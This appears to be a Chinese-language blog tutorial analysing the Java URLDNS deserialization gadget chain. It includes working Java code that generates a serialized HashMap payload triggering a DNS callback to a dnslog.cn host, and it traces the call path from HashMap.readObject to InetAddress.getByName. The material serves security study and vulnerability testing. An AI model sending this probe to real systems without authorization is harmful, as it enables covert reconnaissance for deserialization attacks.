根据已知 Payload,进行正向分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNSDemo { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://5rbma3.dnslog.cn");
Field hashCodeField = Class.forName("java.net.URL") .getDeclaredField("hashCode"); hashCodeField.setAccessible(true);
hashCodeField.set(url, 123);
hashMap.put(url, 1);
hashCodeField.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream("urldns.ser")); oos.writeObject(hashMap); oos.close(); System.out.println("Payload 已生成:urldns.ser");
System.out.println("正在模拟反序列化..."); ObjectInputStream ois = new ObjectInputStream( new FileInputStream("urldns.ser")); ois.readObject(); ois.close(); } }
|
模拟攻击触发,断点 ois.readObject() 调试进入 HashMap.readObject(),循环读取 Key 和 Value,会调用 hash() 方法
HashMap 存储元素依赖 Key 的哈希值定位桶位置。反序列化时,HashMap 的 readObject 方法会读取数据并调用 put 方法重新插入元素。此时会根据 Key 对象当前的状态重新计算哈希值,确定桶位置。

跟进,若传入的 key 不是 null 则调用 key.hashCode(),key 的类型是 URl,下一步就是 URL 中的 hashCode()

hashCode 属性不为 -1 时直接返回,则不会触发 hashCode 方法,即不会触发后面的 DNS 解析。
hashCode 默认值为 -1 ,所以会执行 handler.hashCode()

这里的 handler 是 URLStreamHandler 类(Java 中用于处理不同协议(http、https、ftp 等)URL 行为的类。)

跟进,调用 getHostAddress 方法对传入的 URL 对象进行解析

随后会调用 getHost 方法,然后调用 InetAddress.getByName(host) 发起 DNS 请求,至此整个过程完毕。

1 2 3 4 5 6 7 8
| ois.readObject() <=> ObjectInputStream.readObject() HashMap::readObject() ->putVal() ->hash() ->URL::hashCode() ->URLStreamHandler::hashCode() ->getHostAddress() ->getByName()
|
- 入口点 (Source):
java.util.HashMap.readObject()
- 跳板点 (Gadget):
java.net.URL.hashCode()
- 出口点 (Sink):
java.net.URLStreamHandler.getHostAddress()(最终触发 DNS 解析)
关键利用
- 用的是 java 内部的类进行构造,不依赖第三方库
- 若目标可出网,却无回显,可用来验证是否存在反序列化漏洞